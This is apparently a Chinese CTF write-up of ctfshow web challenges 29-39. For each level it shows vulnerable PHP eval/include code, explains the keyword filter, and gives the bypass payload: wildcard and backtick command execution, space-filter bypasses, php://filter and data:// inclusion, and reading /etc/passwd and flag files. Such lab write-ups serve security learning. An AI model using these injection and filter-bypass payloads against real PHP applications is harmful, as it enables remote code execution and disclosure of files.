• ctfshow 命令执行 (29-39)


    学习参考的

    https://www.cnblogs.com/NPFS/p/13279815.html

    说的很全面

    web29

    命令执行,需要严格的过滤

     源码

    1. error_reporting(0);
    2. if(isset($_GET['c'])){
    3. $c = $_GET['c'];
    4. if(!preg_match("/flag/i", $c)){
    5. eval($c);
    6. }
    7. }else{
    8. highlight_file(__FILE__);
    9. }

    preg_match 函数用于执行一个正则表达式匹配。
    这次的判断是不能出现 flag 字样,后面 i 意思不分辨大小写

    通配符*:

    匹配任何字符串/文本,包括空字符串;*代表任意字符(0个或多个) ls file *

    /?c=system('cat f*');

    查看源代码

    web30

    源码

    1. error_reporting(0);
    2. if(isset($_GET['c'])){
    3. $c = $_GET['c'];
    4. if(!preg_match("/flag|system|php/i", $c)){
    5. eval($c);
    6. }
    7. }else{
    8. highlight_file(__FILE__);
    9. }

    只有system函数是有回显的,其他的函数可以通过echo等显示

    这里采用反引号绕过

    /?c=echo `cat f*`;

    `命令`和$(命令)都是执行命令的方式

    反引号``是命令替换,命令替换是指Shell可以先执行``中的命令,将输出结果暂时保存,在适当的地方输出。

    web31

    1. error_reporting(0);
    2. if(isset($_GET['c'])){
    3. $c = $_GET['c'];
    4. if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
    5. eval($c);
    6. }
    7. }else{
    8. highlight_file(__FILE__);
    9. }

    过滤了flag,system,php,cat,sort,shell,空格,单引号,.

    空格绕过

    1. > < <> 重定向符
    2. %09(需要php环境)
    3. ${IFS}
    4. $IFS$9
    5. {cat,flag.php} //用逗号实现了空格功能
    6. %20
    7. %09

    cat被过滤

    1. more:一页一页的显示档案内容
    2. less:与 more 类似
    3. head:查看头几行
    4. tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
    5. tail:查看尾几行
    6. nl:显示的时候,顺便输出行号
    7. od:以二进制的方式读取档案内容
    8. vi:一种编辑器,这个也可以查看
    9. vim:一种编辑器,这个也可以查看
    10. sort:可以查看
    11. uniq:可以查看
    12. file -f:报错出具体内容

    payload:

    ?c=echo(`tac%09f*`);

     

    web32

    1. error_reporting(0);
    2. if(isset($_GET['c'])){
    3. $c = $_GET['c'];
    4. if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
    5. eval($c);
    6. }
    7. }else{
    8. highlight_file(__FILE__);
    9. }

    过滤了flag,system,php,cat,sort,shell,echo,分号,空格,单引号,括号,空格,`,

    php中有许多不用括号的函数

    echo 123;
    print 123;
    die;
    include "/etc/passwd";
    require "/etc/passwd";
    include_once "/etc/passwd";
    require_once "etc/passwd";
    ?>
     

    ?c=include"$_GET[url]"?>&url=php://filter/read=convert.base64-encode/resource=flag.php

    用c=include"$_POST[x]"?>或者c=include"$_GET[x]"?>,这里用require也是可以的

    总的来说感觉两个函数大差不差

    1. require 一般放在 PHP 文件的最前面,程序在执行前就会先导入要引用的文件;
    2. include 一般放在程序的流程控制中,当程序执行时碰到才会引用,简化程序的执行流程。
    3. require 引入的文件有错误时,执行会中断,并返回一个致命错误;
    4. include 引入的文件有错误时,会继续执行,并返回一个警告。

    用php伪协议将include包含的文件在页面上显示出来

    .convert.base64-encode       //base64编码

    瑞士军刀

    web33

    1. error_reporting(0);
    2. if(isset($_GET['c'])){
    3. $c = $_GET['c'];
    4. if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
    5. eval($c);
    6. }
    7. }else{
    8. highlight_file(__FILE__);
    9. }

    跟上面一道题差不多

    但是因为这题多过滤了双引号,所以只能用数组形式绕过,把双引号去了

    /?c=include$_GET[url]?>&url=php://filter/read=convert.base64-encode/resource=flag.php

    web34

    这题比上面一题多过滤了分号,但是貌似无影响

    1. error_reporting(0);
    2. if(isset($_GET['c'])){
    3. $c = $_GET['c'];
    4. if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
    5. eval($c);
    6. }
    7. }else{
    8. highlight_file(__FILE__);
    9. }

    跟上一题payload一样

    /?c=include$_GET[url]?>&url=php://filter/read=convert.base64-encode/resource=flag.php

     

    web35

    相比上面多过滤了>,但是也没用

    payload

    /?c=include$_GET[url]?>&url=php://filter/read=convert.base64-encode/resource=flag.php

    问什么要进行 base64 编码呢?

    如果不进行 base64 编码传入,index.php 就会直接执行,我们就看不到文件中的内容了

    web36

    多过滤了数字

    /?c=include$_GET[url]?>&url=php://filter/read=convert.base64-encode/resource=flag.php

    web37

    1. error_reporting(0);
    2. if(isset($_GET['c'])){
    3. $c = $_GET['c'];
    4. if(!preg_match("/flag/i", $c)){
    5. include($c);
    6. echo $flag;
    7. }
    8. }else{
    9. highlight_file(__FILE__);
    10. }

    include文件包含

    使用data伪协议

    进行base64编码

    /?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

    web38

    1. //flag in flag.php
    2. error_reporting(0);
    3. if(isset($_GET['c'])){
    4. $c = $_GET['c'];
    5. if(!preg_match("/flag|php|file/i", $c)){
    6. include($c);
    7. echo $flag;
    8. }
    9. }else{
    10. highlight_file(__FILE__);
    11. }

    相比37多过滤了php和file

    payload跟37一样

    /?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

    web39

    1. //flag in flag.php
    2. error_reporting(0);
    3. if(isset($_GET['c'])){
    4. $c = $_GET['c'];
    5. if(!preg_match("/flag/i", $c)){
    6. include($c.".php");
    7. }
    8. }else{
    9. highlight_file(__FILE__);
    10. }

     include($c.".php"); //使用 include 函数将变量 $c 的值与 ".php" 拼接,然后作为文件路径包含(引入)对应的 PHP 文件

    .php 因为前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,起不到什么 作用

    /?c=data://text/plain,<?php system('cat f*')?>

    这样就相当于执行了php语句.php

     

  • 相关阅读:
    高级架构师_Elasticsearch_第三章_高级应用(Springboot_RestClient)
    (02)Cartographer源码无死角解析-(30) LocalTrajectoryBuilder2D::AddRangeData()
    【计算机网络】期末复习(全是大题)
    原生js小方法的封装
    Linux--安装与配置虚拟机及虚拟机服务器坏境配置与连接---超详细教学
    HTML页面获取URL传递的参数值
    【.NET8】访问私有成员新姿势UnsafeAccessor(下)
    CAN(Controller Area Network)是一种用于在汽车和工业领域中进行通信的串行总线系统(附加案例)
    用python解决Excel 表中某个范围内的单元格
    软件测试/测试开发丨明确的编码规范,避免冗余和混乱
  • 原文地址:https://blog.csdn.net/2202_75317918/article/details/133218298